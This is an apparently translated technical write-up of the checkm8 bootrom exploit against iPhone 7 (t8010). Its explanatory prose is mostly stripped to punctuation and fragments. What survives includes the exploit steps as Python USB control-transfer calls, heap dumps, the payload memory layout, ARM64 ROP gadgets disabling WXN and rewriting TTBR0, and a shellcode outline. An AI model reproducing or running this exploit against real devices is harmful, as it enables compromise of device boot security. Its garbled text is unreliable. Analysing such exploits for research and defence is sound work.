80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18тЖСj bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48тЖСj bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8. tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
тАФ WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1ред USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2ред USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3ред USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
тАФ checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
рд╕рдВрджрд░реНрдн
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze